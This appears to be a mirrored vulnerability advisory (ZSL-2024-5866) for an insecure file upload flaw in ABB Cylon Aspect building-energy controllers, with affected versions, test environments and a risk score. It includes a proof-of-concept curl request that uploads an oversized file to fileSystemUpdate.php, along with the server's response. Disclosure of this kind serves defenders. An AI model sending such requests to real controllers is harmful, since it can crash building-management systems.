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ABB Cylon Aspect 3.08.00 (fileSystemUpdate.php) Insecure File Upload
<html><body><p>ABB Cylon Aspect 3.08.00 (fileSystemUpdate.php) Insecure File Upload
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.00
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: A vulnerability exists in the fileSystemUpdate.php endpoint of the
ABB BEMS controller due to improper handling of uploaded files. The endpoint
lacks restrictions on file size and type, allowing attackers to upload excessively
large or malicious files. This flaw could be exploited to cause Denial-of-Service
(DoS) attacks, memory leaks, or buffer overflows, potentially leading to system
crashes or further compromise.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5866
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5866.php
21.04.2024
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$ curl --path-as-is -X POST "http://192.168.73.31/fileSystemUpdate.php" \
> -H "Content-Type: multipart/form-data; boundary=----J0X" \
> -H "Accept-Encoding: gzip, deflate, br" \
> -H "Cookie: PHPSESSID=xxx" \
> -d "------J0X\
> Content-Disposition: form-data; name=\"userfile\"; filename=\"test.aam\"\
> Content-Type: application/octet-stream\
> \
> 5GB_CONTENT\
> ------J0X--\
> "
HTTP/1.1 302 Found
Strict-Transport-Security: max-age=31536000; includeSubdomains
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: fileSystemUpdateExecuteDisplay.php?file=test.aam
Content-type: text/html; charset=UTF-8
Content-Length: 0
Date: Thu, 28 Nov 2024 15:05:44 GMT
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28 Nov 2024 00:00Current
5.9Medium risk
Vulners AI Score5.9